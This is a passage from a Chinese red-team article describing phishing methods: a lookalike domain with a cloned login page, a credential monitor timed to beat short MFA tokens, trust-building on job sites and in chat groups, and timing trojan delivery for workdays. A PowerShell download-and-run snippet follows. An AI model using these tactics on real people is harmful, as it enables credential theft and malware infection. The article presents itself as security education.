并且购买一个相似域名,编写一摸一样的登录页面:

image-20200903194929328

并且访问后做**引导**,告知让他登录更新:

image-20200903195022312

发现该平台使用了多因子认证,Token还有1分钟有效期,因此再次编写监控程序,当监控到有人输入账号密码,就进行邮件提醒,最后,顺利获取到受害者的账号密码:

image-20200903195157126

第三方平台

很多公司都会在比如拉勾网、智联招聘进行工作招聘,这种情况下,我们也可以在这些第三方平台上,与面试者面对面的沟通交流,取得信任,最后进行钓鱼攻击:

image-20200903195240944

加好友

在日常生活中,只有你多跟别人沟通,人家才会愿意跟你聊天,钓鱼亦然。

我们可以多加些受害者的项目群、聊天群,甚至是加里面的好友,多聊聊天,让大家记住你,觉得你是个“好人”,就可以为后续的钓鱼做铺垫,提高钓鱼成功率:

image-20200903195338268

下面的图片展示了当与受害者“交流沟通”一段时间后,已经完全“掌控”了对方,甚至对方在周末问我要简历时,为了防止客户机周末不间断的关机休眠,特地美名其曰的说不想打扰到对方,等到工作日再投递相关木马:

image-20200903195651736

总结:

钓⻥⼿段层出不穷,了解钓⻥⼿段是在攻防演习⼤环境下必不可少的技能之⼀。本⽂从真实项⽬中提取出来的钓⻥⼿段、钓⻥话术给读者介绍了钓⻥中的管中窥豹。

⼈永远是最⼤的弱点,未知攻,焉知防。以攻促防希望能给安全建设带来帮助,祝愿人人都可以识别骗局,保护好自己和公司。

文中涉及的全部信息,只限用于技术交流和安全教育,切勿用于非法用途。

Text Only
$url = "http://127.0.0.1:8080/test.txt"
$outputFile = "D:\load.txt"
Invoke-WebRequest -Uri $url -OutFile $outputFile
Start-Process $outputFile